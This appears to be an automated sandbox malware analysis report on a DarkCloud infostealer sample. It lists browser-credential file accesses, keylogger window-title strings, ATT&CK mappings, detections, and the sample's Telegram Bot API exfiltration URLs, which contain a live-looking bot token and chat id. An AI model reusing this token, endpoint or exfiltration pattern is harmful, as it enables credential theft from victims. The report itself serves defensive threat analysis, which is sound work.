Source: WebData.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: MSM8C42iAN.exe, 00000000.00000003.1443978870.000000000061F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442535526.000000000061F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000061F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: WebData.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: MSM8C42iAN.exe, 00000000.00000003.1404206426.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x\ctivebrokers.co.inVMware20,11696497155d
Source: WebData.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: WebData.0.dr	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: WebData.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: WebData.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: WebData.0.dr	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: WebData.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: WebData.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: WebData.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: WebData.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: WebData.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: WebData.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: WebData.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: WebData.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: WebData.0.dr	Binary or memory string: AMC password management pageVMware20,11696497155
Source: WebData.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: WebData.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: MSM8C42iAN.exe, 00000000.00000003.1404206426.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155P}\
Source: WebData.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: WebData.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: WebData.0.dr	Binary or memory string: discord.comVMware20,11696497155f
Source: MSM8C42iAN.exe, 00000000.00000003.1404206426.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ctivebrokers.co.inVMware20,11696497155d
Source: WebData.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: WebData.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: WebData.0.dr	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: WebData.0.dr	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: WebData.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: WebData.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: WebData.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:25]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1404206426.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:03]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:25]<<Program Manager
Source: MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%SystemRoot%\system32\dnsapi.dll,-10355:25]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.0000000000616000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 5:46]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:19]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1404206426.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:08]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 7:55:24]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891223171.000000000060F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:47]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:42]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:31]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:36]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:20]<<Program Manager>>
Source: KeyDataovGFJnlG.txt.0.dr	Binary or memory string: [07:56:34]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:30]<<Program Manager>>
Source: KeyDatansgiHqmX.txt.0.dr	Binary or memory string: [07:56:56]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:41]<<Program Manager>>
Source: KeyDataDqJdpmHo.txt.0.dr	Binary or memory string: [07:56:45]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.0000000000616000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a5:46]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-1245:05]<<Program Manager>>
Source: KeyDataHhUnZmvD.txt.0.dr	Binary or memory string: [07:56:23]<<Program Manager>>
Source: KeyDataZWdrgPWC.txt.0.dr	Binary or memory string: [07:56:12]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:21]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1813034087.000000000346B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 07:55:24]<<Program Manager>>
Source: KeyDataOebbnOVW.txt.0.dr	Binary or memory string: [07:56:00]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:35]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:43]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Z]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:26]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--:55:31]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1404206426.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:04]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1404206426.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:09]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:34]<<Program Manager>>
Source: KeyDataDqJdpmHo.txt.0.dr	Binary or memory string: [07:56:52]<<Program Manager>>
Source: KeyDatansgiHqmX.txt.0.dr	Binary or memory string: [07:57:06]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891223171.000000000060F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:48]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerttureEM0
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 55:42]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ThunderRT6PictureBox:55:30]<<Program Manager>>
Source: KeyDataDqJdpmHo.txt.0.dr	Binary or memory string: [07:56:44]<<Program Manager>>
Source: KeyDataHhUnZmvD.txt.0.dr	Binary or memory string: [07:56:22]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 07:55:06]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:39]<<Program Manager>>
Source: KeyDataovGFJnlG.txt.0.dr	Binary or memory string: [07:56:32]<<Program Manager>>
Source: KeyDataHhUnZmvD.txt.0.dr	Binary or memory string: [07:56:21]<<Program Manager>>
Source: KeyDataZWdrgPWC.txt.0.dr	Binary or memory string: [07:56:10]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ThunderRT6PictureBoxDCdnsapi.dll,-10355:25]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:27]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:38]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1404206426.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:05]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124:23]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:33]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:22]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ThunderRT6PictureBox[07:55:40]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:44]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:29]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.0000000000616000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.0000000000616000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r_:39]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1404206426.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:07]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:46]<<Program Manager>>
Source: KeyDataZWdrgPWC.txt.0.dr	Binary or memory string: [07:56:11]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:32]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:24]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:48]<<Program Managerypeof a?a:void 0}
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:37]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:23]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:45]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:40]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812933869.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 32]<<Program Manager>>
Source: KeyDataOebbnOVW.txt.0.dr	Binary or memory string: [07:55:59]<<Program Manager>>
Source: KeyDataovGFJnlG.txt.0.dr	Binary or memory string: [07:56:33]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1404206426.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:06]<<Program Manager>>
Source: KeyDatansgiHqmX.txt.0.dr	Binary or memory string: [07:56:55]<<Program Manager>>
Source: MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000065F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1812549371.0000000003467000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891150037.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:55:28]<<Program Manager>>

Stealing of Sensitive Information

Yara detected DarkCloud

Source: Yara match	File source: MSM8C42iAN.exe, type: SAMPLE
Source: Yara match	File source: 0.0.MSM8C42iAN.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1332379073.0000000000401000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSM8C42iAN.exe PID: 2220, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\MSM8C42iAN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\MSM8C42iAN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior

Source: Yara match

File source: Process Memory Space: MSM8C42iAN.exe PID: 2220, type: MEMORYSTR

Remote Access Functionality

Yara detected DarkCloud

Source: Yara match	File source: MSM8C42iAN.exe, type: SAMPLE
Source: Yara match	File source: 0.0.MSM8C42iAN.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1332379073.0000000000401000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSM8C42iAN.exe PID: 2220, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	2 Process Injection	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 DLL Side-Loading	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 System Information Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
MSM8C42iAN.exe	66%	ReversingLabs	Win32.Trojan.DarkCloud
MSM8C42iAN.exe	100%	Avira	TR/Dropper.Gen
MSM8C42iAN.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://showip.net/1	0%	Avira URL Cloud	safe
http://showip.net.	0%	Avira URL Cloud	safe
http://showip.netll	0%	Avira URL Cloud	safe
http://showip.netd	0%	Avira URL Cloud	safe
http://showip.netpD	0%	Avira URL Cloud	safe
http://showip.net4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
showip.net	162.55.60.2	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
api.telegram.org	149.154.167.220	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75	false		high
https://api.telegram.org/bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://showip.net/1	MSM8C42iAN.exe, 00000000.00000003.1442580909.0000000000607000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
